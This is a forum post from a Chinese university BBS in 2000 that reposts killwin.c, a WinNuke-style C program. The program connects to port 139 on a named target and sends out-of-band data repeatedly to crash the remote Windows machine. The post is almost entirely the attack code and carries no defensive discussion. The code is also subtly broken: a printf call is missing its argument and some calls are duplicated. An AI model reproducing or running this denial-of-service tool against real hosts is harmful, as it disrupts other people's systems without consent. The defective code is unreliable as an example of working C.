荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: bstone (Sealed!), 信区: Hacker
标 题: killwin.c
发信站: BBS 荔园晨风站 (Mon Apr 10 21:37:53 2000), 转信
发信人: cloudsky (小四), 信区: Security
标 题: killwin.c
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:44:30 2000), 站内信件
/* killwin.c - winnuke idea, modifcation for me ONLY - napster */
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int x, y, sockdesc, port = 139, hits = 1;
char *target, *str = "Later.";
void parse_args(int argc, char *argv[]);
void usage(char *progname) {
printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n", ;
exit(-1);
}
void parse_args(int argc, char *argv[]) {
target = argv[1];
if (argv[1][0] == '-') {
printf("Must specify a target.\n");
exit(-1);
}
for(y=2;y<argc;y++) {
if (!strcmp(argv[y], "-p")) { y++; port = atoi(argv[y]); }
if (!strcmp(argv[y], "-t")) { y++; hits = atoi(argv[y]); }
}
}
void main(int argc, char *argv[]) {
struct sockaddr_in sin;
struct hostent *he;
if (argc < 2) usage(argv[0]);
parse_args(argc, argv);
parse_args(argc, argv);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
he = gethostbyname(argv[1]);
if (he) {
memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
} else {
perror("Resolving");
}
sockdesc = socket(AF_INET, SOCK_STREAM, 0);
if (sockdesc < 0) {
perror("socket");
exit(-1);
}
if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
close(sockdesc);
close(sockdesc);
exit(-1);
}
printf("Connected to [%s:%d].\n", target, port);
printf("Sending crash %d times...\n", hits);
for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB);
sleep(1);
printf("Done....\n");
close(sockdesc);
exit(0);
}
--
我问飘逝的风:来迟了?
风感慨:是的,他们已经宣战。
我问苏醒的大地:还有希望么?
大地揉了揉眼睛:还有,还有无数代的少年。
我问长空中的英魂:你们相信?
英魂带着笑意离去:相信,希望还在。
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店